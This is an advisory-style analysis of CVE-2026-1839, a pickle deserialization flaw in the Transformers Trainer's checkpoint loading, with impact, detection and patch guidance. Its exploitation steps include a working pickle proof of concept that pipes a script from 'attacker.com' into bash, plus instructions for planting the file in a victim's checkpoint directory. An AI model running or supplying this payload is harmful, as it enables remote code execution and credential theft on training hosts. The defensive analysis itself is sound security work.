CVE-2026-1839: 
NixOS vulnerability analysis and mitigation

CVE-2026-1839 is an unsafe deserialization vulnerability in the HuggingFace Transformers library's Trainer class that allows arbitrary code execution via malicious checkpoint files. The _load_rng_state() method in src/transformers/trainer.py (line 3059) calls torch.load() without the weights_only=True parameter, making it susceptible to pickle deserialization attacks. All versions of the library supporting torch>=2.2 when used with PyTorch versions below 2.6 are affected (specifically transformers versions prior to 5.0.0rc3), as the safe_globals() context manager provides no protection in those PyTorch versions. The vulnerability was published on April 7, 2026, with a CVSS v3.1 base score of 7.8 (High) per NVD, and 6.5 (Moderate) per the GitHub Advisory (GitHub Advisory, Feedly).

The root cause is CWE-502 (Deserialization of Untrusted Data): the _load_rng_state() method in trainer.py calls torch.load(rng_file) without specifying weights_only=True, unlike all other torch.load() calls in the same file which correctly use this parameter. The safe_globals() context manager wrapping the call returns contextlib.nullcontext() on PyTorch versions below 2.6, providing zero protection against pickle-based payloads. An attacker who can supply a crafted rng_state.pth checkpoint file — for example, by placing it in a checkpoint directory that a victim's training job resumes from — can embed arbitrary Python pickle opcodes that execute when the file is loaded. The fix, committed in PR #43140, adds weights_only=True to the torch.load() call and introduces a check_torch_load_is_safe() guard (GitHub Commit, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary code with the privileges of the process running the HuggingFace Transformers library, resulting in high confidentiality, integrity, and availability impact. An attacker could exfiltrate training data, model weights, or credentials accessible to the process; modify or destroy model artifacts; or pivot to other systems reachable from the training environment. The attack requires user interaction (a user or automated pipeline must load the malicious checkpoint), but no privileges are required on the part of the attacker (GitHub Advisory, Feedly).

No confirmed in-the-wild exploitation or weaponized exploit code has been identified as of the time of reporting; the huntr.com bounty report URL is referenced but its content was found to be empty upon analysis (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.02% (7th percentile), indicating a low near-term exploitation probability (GitHub Advisory). Exploitation requires an attacker to control or tamper with a checkpoint file that a victim's training job will load, limiting the attack surface to supply-chain or insider threat scenarios.

1. Identify a target: Locate an environment running HuggingFace Transformers with torch>=2.2 and PyTorch below 2.6, where a training job uses the Trainer class with checkpoint resumption enabled.
2. Craft a malicious checkpoint file: Create a Python pickle payload that executes the desired command (e.g., a reverse shell or data exfiltration script) and serialize it into a file named rng_state.pth (or rng_state_{rank}.pth for distributed training).

   import pickle, os
   class Exploit(object):
       def __reduce__(self):
           return (os.system, ('curl http://attacker.com/shell.sh | bash',))
   with open('rng_state.pth', 'wb') as f:
       pickle.dump(Exploit(), f)

3. Place the malicious file: Substitute or inject the crafted rng_state.pth into the checkpoint directory that the target training job will resume from (e.g., via a compromised model repository, shared storage, or supply-chain attack on a shared checkpoint).
4. Trigger checkpoint loading: Wait for or cause the victim's training job to resume from the checkpoint, which invokes Trainer._load_rng_state() and calls torch.load(rng_file) without weights_only=True, deserializing and executing the payload.
5. Achieve code execution: The pickle payload executes with the privileges of the training process, enabling reverse shell, credential theft, or further lateral movement (GitHub Commit, GitHub Advisory).

• File System: Unexpected or recently modified rng_state.pth or rng_state_*.pth files in checkpoint directories; checkpoint files with anomalously large sizes inconsistent with normal RNG state data; files with mismatched hashes compared to known-good checkpoints.
• Process: Unusual child processes spawned by the Python training process (e.g., bash, sh, curl, wget, python -c) immediately following checkpoint loading; unexpected network connections initiated by the training process.
• Network: Outbound connections from the training host to unknown external IPs or domains shortly after a training job resumes from a checkpoint; DNS queries for unfamiliar domains from the ML training environment.
• Logs: Python tracebacks or warnings related to torch.load() or pickle deserialization in training logs; unexpected process execution entries in system audit logs (e.g., auditd) tied to the training process user.

Upgrade HuggingFace Transformers to version 5.0.0rc3 or later (stable 5.0.0+), which adds weights_only=True to the vulnerable torch.load() call and introduces a check_torch_load_is_safe() guard (GitHub Commit, GitHub Advisory). If immediate patching is not possible, avoid resuming training from checkpoint directories sourced from untrusted parties, and validate the integrity (e.g., cryptographic hash) of all checkpoint files before loading. Upgrading PyTorch to version 2.6 or later also provides additional protection via the safe_globals() context manager. IBM watsonx Code Assistant On Prem and IBM App Connect Enterprise Certified Container users should apply the respective IBM security updates (IBM Advisory 1, IBM Advisory 2).

The vulnerability was discovered and reported via the huntr.com bug bounty platform and assigned GHSA-69w3-r845-3855 by GitHub (GitHub Advisory). A technical blog post by Mike Czumak titled "CVE-2026-1839: How Training AI with Heavy Weights Can Still Lead to Light Security" provided community analysis of the issue. Coverage also appeared on letsdatascience.com highlighting the remote code execution risk in Hugging Face Transformers. The vulnerability received moderate attention given its relevance to the rapidly growing AI/ML training ecosystem.